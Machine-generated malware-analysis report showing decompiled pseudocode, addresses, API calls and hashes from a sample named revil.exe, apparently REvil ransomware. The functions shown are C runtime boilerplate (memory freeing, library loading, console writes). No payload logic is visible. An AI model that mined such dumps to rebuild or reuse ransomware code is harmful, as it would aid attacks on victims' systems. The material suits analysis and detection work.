                          									__eflags = _t206 - 0xffffffff;
                          									if(_t206 == 0xffffffff) {
                          										goto L52;
                          									} else {
                          										_t275 = _v56;
                          										goto L31;
                          									}
                          								}
                          							}
                          						} else {
                          							_v24 =  *((intOrPtr*)(_t252 + _t186 + 0x2e));
                          							_v23 =  *_t275;
                          							_push(2);
                          							 *(_t252 + _v52 + 0x2d) = _t264 & 0x000000fb;
                          							_push( &_v24);
                          							L30:
                          							_push( &_v76);
                          							_t190 = E00167EA5();
                          							_t296 = _t295 + 0xc;
                          							__eflags = _t190 - 0xffffffff;
                          							if(_t190 == 0xffffffff) {
                          								goto L52;
                          							} else {
                          								goto L31;
                          							}
                          						}
                          						goto L53;
                          					}
                          				}
                          				L53:
                          				if(__eflags != 0) {
                          					_t183 = _v72;
                          					_t167 = _t183 + 0x350;
                          					 *_t167 =  *(_t183 + 0x350) & 0xfffffffd;
                          					__eflags =  *_t167;
                          				}
                          				__eflags = _v8 ^ _t294;
                          				asm("movsd");
                          				asm("movsd");
                          				asm("movsd");
                          				return E00161BE7(_v8 ^ _t294);
                          			}

























































































                          0x001688e3
                          0x001688ea
                          0x001688ed
                          0x001688f2
                          0x001688fa
                          0x001688fd
                          0x00168901
                          0x00168904
                          0x0016890e
                          0x00168918
                          0x0016891a
                          0x0016891d
                          0x00168920
                          0x00168926
                          0x00168928
                          0x0016892f
                          0x0016893c
                          0x0016893d
                          0x00168940
                          0x00168943
                          0x00168944
                          0x00168945
                          0x00168948
                          0x0016894d
                          0x00168c59
                          0x00168c59
                          0x00168953
                          0x00168953
                          0x00168956
                          0x00168958
                          0x0016895e
                          0x00168961
                          0x00168968
                          0x0016896f
                          0x00168978
                          0x00000000
                          0x00000000
                          0x0016897e
                          0x00168984
                          0x00168986
                          0x00168988
                          0x0016898b
                          0x00168990
                          0x00168994
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00168994
                          0x00168999
                          0x0016899c
                          0x0016899e
                          0x001689a3
                          0x00168a55
                          0x00168a56
                          0x00168a59
                          0x00168a5b
                          0x00168c09
                          0x00168c0b
                          0x00000000
                          0x00168c0d
                          0x00168c0d
                          0x00168c10
                          0x00168c13
                          0x00168c1c
                          0x00168c1f
                          0x00168c20
                          0x00168c24
                          0x00168c27
                          0x00168c27
                          0x00000000
                          0x00168c2b
                          0x00168a61
                          0x00168a61
                          0x00168a66
                          0x00168a69
                          0x00168a6f
                          0x00168a75
                          0x00168a7e
                          0x00168a81
                          0x00168a81
                          0x00168a82
                          0x00168a83
                          0x00168a86
                          0x00168a87
                          0x00000000
                          0x00168a87
                          0x001689a9
                          0x001689b8
                          0x001689b9
                          0x001689bc
                          0x001689be
                          0x001689c3
                          0x00168bd4
                          0x00168bd6
                          0x00168bd8
                          0x00168bdb
                          0x00168be0
                          0x00168be9
                          0x00168bec
                          0x00168bed
                          0x00168bf1
                          0x00168bf4
                          0x00168bf7
                          0x00168bf7
                          0x00168bfb
                          0x00168bfb
                          0x00168bfb
                          0x00168bfe
                          0x00168bfe
                          0x00168bfe
                          0x00168c00
                          0x00168c00
                          0x00168c04
                          0x001689c9
                          0x001689c9
                          0x001689cd
                          0x001689cf
                          0x001689d2
                          0x001689d5
                          0x001689d9
                          0x001689da
                          0x001689de
                          0x001689de
                          0x001689e1
                          0x001689e6
                          0x001689f2
                          0x001689f7
                          0x001689fa
                          0x001689fa
                          0x001689ff
                          0x00168a01
                          0x00168a04
                          0x00168a06
                          0x00168a09
                          0x00168a0c
                          0x00168a0f
                          0x00168a17
                          0x00168a1b
                          0x00168a1f
                          0x00168a1f
                          0x00168a25
                          0x00168a2b
                          0x00168a2e
                          0x00168a36
                          0x00168a3d
                          0x00168a41
                          0x00168a42
                          0x00168a45
                          0x00168a46
                          0x00168a8a
                          0x00168a8a
                          0x00168a8e
                          0x00168a8f
                          0x00168a94
                          0x00168a9a
                          0x00000000
                          0x00168aa0
                          0x00168aa4
                          0x00168b2d
                          0x00168b34
                          0x00168b3c
                          0x00168b44
                          0x00168b49
                          0x00168b4c
                          0x00168b51
                          0x00000000
                          0x00168b57
                          0x00168b6c
                          0x00168c50
                          0x00168c56
                          0x00000000
                          0x00168b72
                          0x00168b7b
                          0x00168b7d
                          0x00168b83
                          0x00000000
                          0x00168b89
                          0x00168b8d
                          0x00168bc3
                          0x00168bc6
                          0x00000000
                          0x00168bcc
                          0x00168bcc
                          0x00000000
                          0x00168bcc
                          0x00168b8f
                          0x00168b91
                          0x00168b93
                          0x00168bac
                          0x00000000
                          0x00168bb2
                          0x00168bb6
                          0x00000000
                          0x00168bbc
                          0x00168bbc
                          0x00168bbf
                          0x00168bc0
                          0x00000000
                          0x00168bc0
                          0x00168bb6
                          0x00168bac
                          0x00168b8d
                          0x00168b83
                          0x00168b6c
                          0x00168b51
                          0x00168a9a
                          0x001689c3
                          0x00000000
                          0x00168aab
                          0x00168aab
                          0x00168aae
                          0x00168ab2
                          0x00168ab5
                          0x00168ad7
                          0x00168ada
                          0x00168adf
                          0x00168ae3
                          0x00168ae7
                          0x00168b15
                          0x00168b17
                          0x00000000
                          0x00168ae9
                          0x00168ae9
                          0x00168aec
                          0x00168aef
                          0x00168af2
                          0x00168c2d
                          0x00168c30
                          0x00168c3d
                          0x00168c48
                          0x00168c4d
                          0x00000000
                          0x00168af8
                          0x00168aff
                          0x00168b04
                          0x00168b07
                          0x00168b0a
                          0x00000000
                          0x00168b10
                          0x00168b10
                          0x00000000
                          0x00168b10
                          0x00168b0a
                          0x00168af2
                          0x00168ab7
                          0x00168abe
                          0x00168ac3
                          0x00168ac9
                          0x00168acb
                          0x00168ad2
                          0x00168b18
                          0x00168b1b
                          0x00168b1c
                          0x00168b21
                          0x00168b24
                          0x00168b27
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00168b27
                          0x00000000
                          0x00168ab5
                          0x00168956
                          0x00168c5c
                          0x00168c5c
                          0x00168c5e
                          0x00168c61
                          0x00168c61
                          0x00168c61
                          0x00168c61
                          0x00168c73
                          0x00168c75
                          0x00168c76
                          0x00168c77
                          0x00168c81

                          APIs
                          • GetConsoleCP.KERNEL32(?,00000001,00000000), ref: 00168920
                          • __fassign.LIBCMT ref: 00168AFF
                          • __fassign.LIBCMT ref: 00168B1C
                          • WriteFile.KERNEL32(?,00167654,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00168B64
                          • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00168BA4
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00168C50
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: FileWrite__fassign$ConsoleErrorLast
                          • String ID:
                          • API String ID: 4031098158-0
                          • Opcode ID: dbed4b491beeba279a3fb2a5ffe53d98f015acdab263e492722621e377921911
                          • Instruction ID: 9db6ac48086fbabe4c8f427c53b4c0a429a0212070a8db17c054687d38425629
                          • Opcode Fuzzy Hash: dbed4b491beeba279a3fb2a5ffe53d98f015acdab263e492722621e377921911
                          • Instruction Fuzzy Hash: 3AD1ACB1D012589FCF15CFE8DC809EDBBB5EF48314F28425AE855BB241DB31A956CB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 85%
                          			E0016235E(void* __ecx) {
                          				void* _t4;
                          				void* _t8;
                          				void* _t11;
                          				void* _t13;
                          				void* _t14;
                          				void* _t18;
                          				void* _t23;
                          				long _t24;
                          				void* _t27;
                          
                          				_t13 = __ecx;
                          				if( *0x173020 != 0xffffffff) {
                          					_t24 = GetLastError();
                          					_t11 = E00162759(_t13, __eflags,  *0x173020);
                          					_t14 = _t23;
                          					__eflags = _t11 - 0xffffffff;
                          					if(_t11 == 0xffffffff) {
                          						L5:
                          						_t11 = 0;
                          					} else {
                          						__eflags = _t11;
                          						if(__eflags == 0) {
                          							_t4 = E00162794(_t14, __eflags,  *0x173020, 0xffffffff);
                          							__eflags = _t4;
                          							if(_t4 != 0) {
                          								_push(0x28);
                          								_t27 = E0016453C();
                          								_t18 = 1;
                          								__eflags = _t27;
                          								if(__eflags == 0) {
                          									L8:
                          									_t11 = 0;
                          									E00162794(_t18, __eflags,  *0x173020, 0);
                          								} else {
                          									_t8 = E00162794(_t18, __eflags,  *0x173020, _t27);
                          									_pop(_t18);
                          									__eflags = _t8;
                          									if(__eflags != 0) {
                          										_t11 = _t27;
                          										_t27 = 0;
                          										__eflags = 0;
                          									} else {
                          										goto L8;
                          									}
                          								}
                          								E001644DD(_t27);
                          							} else {
                          								goto L5;
                          							}
                          						}
                          					}
                          					SetLastError(_t24);
                          					return _t11;
                          				} else {
                          					return 0;
                          				}
                          			}












                          0x0016235e
                          0x00162365
                          0x00162378
                          0x0016237f
                          0x00162381
                          0x00162382
                          0x00162385
                          0x0016239e
                          0x0016239e
                          0x00162387
                          0x00162387
                          0x00162389
                          0x00162393
                          0x0016239a
                          0x0016239c
                          0x001623a3
                          0x001623ac
                          0x001623af
                          0x001623b0
                          0x001623b2
                          0x001623c6
                          0x001623c6
                          0x001623cf
                          0x001623b4
                          0x001623bb
                          0x001623c1
                          0x001623c2
                          0x001623c4
                          0x001623d8
                          0x001623da
                          0x001623da
                          0x00000000
                          0x00000000
                          0x00000000
                          0x001623c4
                          0x001623dd
                          0x00000000
                          0x00000000
                          0x00000000
                          0x0016239c
                          0x00162389
                          0x001623e5
                          0x001623ef
                          0x00162367
                          0x00162369
                          0x00162369

                          APIs
                          • GetLastError.KERNEL32(?,?,00162355,00161FFF,00161944), ref: 0016236C
                          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0016237A
                          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00162393
                          • SetLastError.KERNEL32(00000000,00162355,00161FFF,00161944), ref: 001623E5
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ErrorLastValue___vcrt_
                          • String ID:
                          • API String ID: 3852720340-0
                          • Opcode ID: 74783617a4140dfc788b296c5e35c4adf1fa93c7dd593bb508fa7177ea5a6596
                          • Instruction ID: 6ac500de70936e2e75a0b42643c4d714a5697410464de7ccf02c25190377f10e
                          • Opcode Fuzzy Hash: 74783617a4140dfc788b296c5e35c4adf1fa93c7dd593bb508fa7177ea5a6596
                          • Instruction Fuzzy Hash: EB01F733B0CB219FA62827B57C85A263764FB29775730022AF534516F0EF754CA1A640
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E001625EE(void* __ecx, signed int* _a4, intOrPtr _a8) {
                          				signed int* _v8;
                          				void** _t12;
                          				void* _t16;
                          				void* _t18;
                          				signed int _t22;
                          				WCHAR* _t23;
                          				void** _t26;
                          				signed int* _t29;
                          				void* _t32;
                          				void* _t34;
                          
                          				_t29 = _a4;
                          				while(_t29 != _a8) {
                          					_t22 =  *_t29;
                          					_t12 = 0x173c70 + _t22 * 4;
                          					_t32 =  *_t12;
                          					_v8 = _t12;
                          					if(_t32 == 0) {
                          						_t23 =  *(0x16db20 + _t22 * 4);
                          						_t32 = LoadLibraryExW(_t23, 0, 0x800);
                          						if(_t32 != 0) {
                          							L11:
                          							_t26 = _v8;
                          							 *_t26 = _t32;
                          							if( *_t26 != 0) {
                          								FreeLibrary(_t32);
                          							}
                          							L13:
                          							if(_t32 != 0) {
                          								_t16 = _t32;
                          								L17:
                          								return _t16;
                          							}
                          							L14:
                          							_t29 =  &(_t29[1]);
                          							continue;
                          						}
                          						_t18 = GetLastError();
                          						if(_t18 != 0x57) {
                          							L8:
                          							_t32 = 0;
                          							L9:
                          							if(_t32 != 0) {
                          								goto L11;
                          							}
                          							 *_v8 = _t18 | 0xffffffff;
                          							goto L14;
                          						}
                          						_t18 = E00164648(_t23, L"api-ms-", 7);
                          						_t34 = _t34 + 0xc;
                          						if(_t18 == 0) {
                          							goto L8;
                          						}
                          						_t18 = LoadLibraryExW(_t23, _t32, _t32);
                          						_t32 = _t18;
                          						goto L9;
                          					}
                          					if(_t32 == 0xffffffff) {
                          						goto L14;
                          					}
                          					goto L13;
                          				}
                          				_t16 = 0;
                          				goto L17;
                          			}













                          0x001625f5
                          0x00162686
                          0x001625fd
                          0x001625ff
                          0x00162606
                          0x00162608
                          0x0016260d
                          0x00162616
                          0x0016262b
                          0x0016262f
                          0x0016266d
                          0x0016266d
                          0x00162672
                          0x00162676
                          0x00162679
                          0x00162679
                          0x0016267f
                          0x00162681
                          0x00162696
                          0x00162691
                          0x00162695
                          0x00162695
                          0x00162683
                          0x00162683
                          0x00000000
                          0x00162683
                          0x00162631
                          0x0016263a
                          0x0016265d
                          0x0016265d
                          0x0016265f
                          0x00162661
                          0x00000000
                          0x00000000
                          0x00162669
                          0x00000000
                          0x00162669
                          0x00162644
                          0x00162649
                          0x0016264e
                          0x00000000
                          0x00000000
                          0x00162653
                          0x00162659
                          0x00000000
                          0x00162659
                          0x00162612
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00162614
                          0x0016268f
                          0x00000000

                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID: api-ms-
                          • API String ID: 0-2084034818
                          • Opcode ID: 7f480bc51f6d2b9286a51e7ca31097263fff6df9b4468f0b001e4d9017612ba1
                          • Instruction ID: e18a5d889dc620b6cd316fcd5db1d898ba9188d83f0342ba88401392bb76d4ea
                          • Opcode Fuzzy Hash: 7f480bc51f6d2b9286a51e7ca31097263fff6df9b4468f0b001e4d9017612ba1
                          • Instruction Fuzzy Hash: 8311AE71F01A22ABCB314B25DC44E6A7754AF01770F220111ED15A7290D770DD6187E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 25%
                          			E00163D3E(void* __ecx, intOrPtr _a4) {
                          				signed int _v8;
                          				_Unknown_base(*)()* _t8;
                          				_Unknown_base(*)()* _t14;
                          
                          				_v8 = _v8 & 0x00000000;
                          				_t8 =  &_v8;
                          				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
                          				if(_t8 != 0) {
                          					_t8 = GetProcAddress(_v8, "CorExitProcess");
                          					_t14 = _t8;
                          					if(_t14 != 0) {
                          						 *0x16d120(_a4);
                          						_t8 =  *_t14();
                          					}
                          				}
                          				if(_v8 != 0) {
                          					return FreeLibrary(_v8);
                          				}
                          				return _t8;
                          			}






                          0x00163d44
                          0x00163d48
                          0x00163d53
                          0x00163d5b
                          0x00163d66
                          0x00163d6c
                          0x00163d70
                          0x00163d77
                          0x00163d7d
                          0x00163d7d
                          0x00163d7f
                          0x00163d84
                          0x00000000
                          0x00163d89
                          0x00163d90

                          APIs
                          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00163D33,?,?,00163CFB,?,?,?), ref: 00163D53
                          • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00163D66
                          • FreeLibrary.KERNEL32(00000000,?,?,00163D33,?,?,00163CFB,?,?,?), ref: 00163D89
                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: AddressFreeHandleLibraryModuleProc
                          • String ID: CorExitProcess$mscoree.dll
                          • API String ID: 4061214504-1276376045
                          • Opcode ID: 9284082b47044a65588b8ca1daf5ece589c11bf8bec99363578313c4a03c3d08
                          • Instruction ID: c6ba491f9fb9cdc1fa61c05881eba66e55e05d90c14027a5e03a1a269eeb6bf9
                          • Opcode Fuzzy Hash: 9284082b47044a65588b8ca1daf5ece589c11bf8bec99363578313c4a03c3d08
                          • Instruction Fuzzy Hash: C7F03031F01218FBDB119BA1ED09B9D7EB8EB04755F150168F905A25A0CBB09F51DB94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00166585(intOrPtr* _a4) {
                          				intOrPtr _t6;
                          				intOrPtr* _t21;
                          				void* _t23;
                          				void* _t24;
                          				void* _t25;
                          				void* _t26;
                          				void* _t27;
                          
                          				_t21 = _a4;
                          				if(_t21 != 0) {
                          					_t23 =  *_t21 -  *0x173648; // 0x173698
                          					if(_t23 != 0) {
                          						E00165025(_t7);
                          					}
                          					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x17364c; // 0x174358
                          					if(_t24 != 0) {
                          						E00165025(_t8);
                          					}
                          					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x173650; // 0x174358
                          					if(_t25 != 0) {
                          						E00165025(_t9);
                          					}
                          					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x173678; // 0x17369c
                          					if(_t26 != 0) {
                          						E00165025(_t10);
                          					}
                          					_t6 =  *((intOrPtr*)(_t21 + 0x34));
                          					_t27 = _t6 -  *0x17367c; // 0x17435c
                          					if(_t27 != 0) {
                          						return E00165025(_t6);
                          					}
                          				}
                          				return _t6;
                          			}










                          0x0016658b
                          0x00166590
                          0x00166594
                          0x0016659a
                          0x0016659d
                          0x001665a2
                          0x001665a6
                          0x001665ac
                          0x001665af
                          0x001665b4
                          0x001665b8
                          0x001665be
                          0x001665c1
                          0x001665c6
                          0x001665ca
                          0x001665d0
                          0x001665d3
                          0x001665d8
                          0x001665d9
                          0x001665dc
                          0x001665e2
                          0x00000000
                          0x001665ea
                          0x001665e2
                          0x001665ed

                          APIs
                          • _free.LIBCMT ref: 0016659D
                            • Part of subcall function 00165025: HeapFree.KERNEL32(00000000,00000000,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?), ref: 0016503B
                            • Part of subcall function 00165025: GetLastError.KERNEL32(?,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?,?), ref: 0016504D
                          • _free.LIBCMT ref: 001665AF
                          • _free.LIBCMT ref: 001665C1
                          • _free.LIBCMT ref: 001665D3
                          • _free.LIBCMT ref: 001665E5
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _free$ErrorFreeHeapLast
                          • String ID:
                          • API String ID: 776569668-0
                          • Opcode ID: 71c31d46907510e89555495337e8def8e342e8e0b3a893e5effe0a59c9d3117b
                          • Instruction ID: 378b337696b58d42dfe4569f412b1c18bf9974114d7a6c139c7d8e43328ea62c
                          • Opcode Fuzzy Hash: 71c31d46907510e89555495337e8def8e342e8e0b3a893e5effe0a59c9d3117b
                          • Instruction Fuzzy Hash: FEF012725056007B8624EB64EC8BC1A73FAEB50790B645809F45ADBA48CB30FFD18A94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 90%
                          			E0016355E(void* __edx, intOrPtr _a4) {
                          				signed int _v8;
                          				struct HINSTANCE__* _v12;
                          				char _v16;
                          				WCHAR* _v20;
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				WCHAR* _t25;
                          				WCHAR** _t35;
                          				WCHAR** _t36;
                          				WCHAR* _t39;
                          				WCHAR* _t41;
                          				WCHAR* _t42;
                          				intOrPtr* _t43;
                          				WCHAR** _t44;
                          				intOrPtr _t47;
                          				WCHAR* _t48;
                          				WCHAR* _t53;
                          				WCHAR** _t57;
                          				WCHAR* _t63;
                          				WCHAR* _t65;
                          
                          				_t47 = _a4;
                          				if(_t47 != 0) {
                          					__eflags = _t47 - 2;
                          					if(_t47 == 2) {
                          						L5:
                          						GetModuleFileNameW(0, 0x173ca0, 0x104);
                          						_t25 =  *0x173f1c; // 0x12d1c26
                          						 *0x173f08 = 0x173ca0;
                          						_v20 = _t25;
                          						__eflags = _t25;
                          						if(_t25 == 0) {
                          							L7:
                          							_t25 = 0x173ca0;
                          							_v20 = 0x173ca0;
                          							L8:
                          							_v8 = 0;
                          							_v16 = 0;
                          							_t63 = E00163822(E0016368D(_t25, 0, 0,  &_v8,  &_v16), _v8, _v16, 2);
                          							__eflags = _t63;
                          							if(__eflags != 0) {
                          								E0016368D(_v20, _t63, _t63 + _v8 * 4,  &_v8,  &_v16);
                          								__eflags = _t47 - 1;
                          								if(_t47 != 1) {
                          									_v12 = 0;
                          									_push( &_v12);
                          									_t48 = E00165570(_t47, 0, _t63, _t63);
                          									__eflags = _t48;
                          									if(_t48 == 0) {
                          										_t57 = _v12;
                          										_t53 = 0;
                          										_t35 = _t57;
                          										__eflags =  *_t57;
                          										if( *_t57 == 0) {
                          											L17:
                          											_t36 = 0;
                          											 *0x173f0c = _t53;
                          											_v12 = 0;
                          											_t48 = 0;
                          											 *0x173f14 = _t57;
                          											L18:
                          											E00165025(_t36);
                          											_v12 = 0;
                          											L19:
                          											E00165025(_t63);
                          											_t39 = _t48;
                          											L20:
                          											return _t39;
                          										} else {
                          											goto L16;
                          										}
                          										do {
                          											L16:
                          											_t35 =  &(_t35[1]);
                          											_t53 =  &(_t53[0]);
                          											__eflags =  *_t35;
                          										} while ( *_t35 != 0);
                          										goto L17;
                          									}
                          									_t36 = _v12;
                          									goto L18;
                          								}
                          								_t41 = _v8 - 1;
                          								__eflags = _t41;
                          								 *0x173f0c = _t41;
                          								_t42 = _t63;
                          								_t63 = 0;
                          								 *0x173f14 = _t42;
                          								L12:
                          								_t48 = 0;
                          								goto L19;
                          							}
                          							_t43 = E00164FB5(__eflags);
                          							_push(0xc);
                          							_pop(0);
                          							 *_t43 = 0;
                          							goto L12;
                          						}
                          						__eflags =  *_t25;
                          						if( *_t25 != 0) {
                          							goto L8;
                          						}
                          						goto L7;
                          					}
                          					__eflags = _t47 - 1;
                          					if(__eflags == 0) {
                          						goto L5;
                          					}
                          					_t44 = E00164FB5(__eflags);
                          					_t65 = 0x16;
                          					 *_t44 = _t65;
                          					E00164DBE();
                          					_t39 = _t65;
                          					goto L20;
                          				}
                          				return 0;
                          			}
























                          0x00163567
                          0x0016356c
                          0x00163576
                          0x00163579
                          0x00163596
                          0x001635a5
                          0x001635ab
                          0x001635b0
                          0x001635b6
                          0x001635b9
                          0x001635bb
                          0x001635c2
                          0x001635c2
                          0x001635c4
                          0x001635c7
                          0x001635ca
                          0x001635d1
                          0x001635ea
                          0x001635ef
                          0x001635f1
                          0x00163612
                          0x0016361a
                          0x0016361d
                          0x00163638
                          0x0016363b
                          0x00163642
                          0x00163646
                          0x00163648
                          0x0016364f
                          0x00163652
                          0x00163654
                          0x00163656
                          0x00163658
                          0x00163662
                          0x00163662
                          0x00163664
                          0x0016366a
                          0x0016366d
                          0x0016366f
                          0x00163675
                          0x00163676
                          0x0016367c
                          0x0016367f
                          0x00163680
                          0x00163686
                          0x00163689
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x0016365a
                          0x0016365a
                          0x0016365a
                          0x0016365d
                          0x0016365e
                          0x0016365e
                          0x00000000
                          0x0016365a
                          0x0016364a
                          0x00000000
                          0x0016364a
                          0x00163622
                          0x00163622
                          0x00163623
                          0x00163628
                          0x0016362a
                          0x0016362c
                          0x00163631
                          0x00163631
                          0x00000000
                          0x00163631
                          0x001635f3
                          0x001635f8
                          0x001635fa
                          0x001635fb
                          0x00000000
                          0x001635fb
                          0x001635bd
                          0x001635c0
                          0x00000000
                          0x00000000
                          0x00000000
                          0x001635c0
                          0x0016357b
                          0x0016357e
                          0x00000000
                          0x00000000
                          0x00163580
                          0x00163587
                          0x00163588
                          0x0016358a
                          0x0016358f
                          0x00000000
                          0x0016358f
                          0x00000000

                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID: C:\Users\user\Desktop\revil.exe
                          • API String ID: 0-1497474532
                          • Opcode ID: 790b4f67a8aa0f13cc664e37923776c5b195ed92cdff65e65ac984952f4c82dc
                          • Instruction ID: 74a18c62d0512ec94897f0bae75503fee04058200f93e94d25c438e07b86984e
                          • Opcode Fuzzy Hash: 790b4f67a8aa0f13cc664e37923776c5b195ed92cdff65e65ac984952f4c82dc
                          • Instruction Fuzzy Hash: 22319EB1E00214BBCB259F99DC858AEBBF8EB99350B11406AF42597350E7708F90DBA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 75%
                          			E001649C0(void* __ecx, void* __edx) {
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				intOrPtr _t2;
                          				long _t3;
                          				intOrPtr _t5;
                          				long _t6;
                          				intOrPtr _t9;
                          				long _t10;
                          				signed int _t39;
                          				signed int _t40;
                          				void* _t43;
                          				void* _t49;
                          				signed int _t51;
                          				signed int _t53;
                          				signed int _t54;
                          				long _t56;
                          				long _t60;
                          				long _t61;
                          				void* _t65;
                          
                          				_t49 = __edx;
                          				_t43 = __ecx;
                          				_t60 = GetLastError();
                          				_t2 =  *0x173050; // 0x2
                          				_t67 = _t2 - 0xffffffff;
                          				if(_t2 == 0xffffffff) {
                          					L6:
                          					_t3 = E00166F02(__eflags, _t2, 0xffffffff);
                          					__eflags = _t3;
                          					if(_t3 == 0) {
                          						goto L3;
                          					} else {
                          						_t51 = E00164FC8(1, 0x364);
                          						_pop(_t43);
                          						__eflags = _t51;
                          						if(__eflags != 0) {
                          							__eflags = E00166F02(__eflags,  *0x173050, _t51);
                          							if(__eflags != 0) {
                          								E001647EE(_t51, 0x17427c);
                          								E00165025(0);
                          								_t65 = _t65 + 0xc;
                          								goto L13;
                          							} else {
                          								_t39 = 0;
                          								E00166F02(__eflags,  *0x173050, 0);
                          								_push(_t51);
                          								goto L9;
                          							}
                          						} else {
                          							_t39 = 0;
                          							__eflags = 0;
                          							E00166F02(0,  *0x173050, 0);
                          							_push(0);
                          							L9:
                          							E00165025();
                          							_pop(_t43);
                          							goto L4;
                          						}
                          					}
                          				} else {
                          					_t51 = E00166EC3(_t67, _t2);
                          					if(_t51 == 0) {
                          						_t2 =  *0x173050; // 0x2
                          						goto L6;
                          					} else {
                          						if(_t51 != 0xffffffff) {
                          							L13:
                          							_t39 = _t51;
                          						} else {
                          							L3:
                          							_t39 = 0;
                          							L4:
                          							_t51 = _t39;
                          						}
                          					}
                          				}
                          				SetLastError(_t60);
                          				asm("sbb edi, edi");
                          				_t53 =  ~_t51 & _t39;
                          				if(_t53 == 0) {
                          					E001644F8(_t39, _t43, _t49, _t53, _t60);
                          					asm("int3");
                          					_t5 =  *0x173050; // 0x2
                          					_push(_t60);
                          					__eflags = _t5 - 0xffffffff;
                          					if(__eflags == 0) {
                          						L22:
                          						_t6 = E00166F02(__eflags, _t5, 0xffffffff);
                          						__eflags = _t6;
                          						if(_t6 == 0) {
                          							goto L31;
                          						} else {
                          							_t60 = E00164FC8(1, 0x364);
                          							_pop(_t43);
                          							__eflags = _t60;
                          							if(__eflags != 0) {
                          								__eflags = E00166F02(__eflags,  *0x173050, _t60);
                          								if(__eflags != 0) {
                          									E001647EE(_t60, 0x17427c);
                          									E00165025(0);
                          									_t65 = _t65 + 0xc;
                          									goto L29;
                          								} else {
                          									E00166F02(__eflags,  *0x173050, _t21);
                          									_push(_t60);
                          									goto L25;
                          								}
                          							} else {
                          								E00166F02(__eflags,  *0x173050, _t20);
                          								_push(_t60);
                          								L25:
                          								E00165025();
                          								_pop(_t43);
                          								goto L31;
                          							}
                          						}
                          					} else {
                          						_t60 = E00166EC3(__eflags, _t5);
                          						__eflags = _t60;
                          						if(__eflags == 0) {
                          							_t5 =  *0x173050; // 0x2
                          							goto L22;
                          						} else {
                          							__eflags = _t60 - 0xffffffff;
                          							if(_t60 == 0xffffffff) {
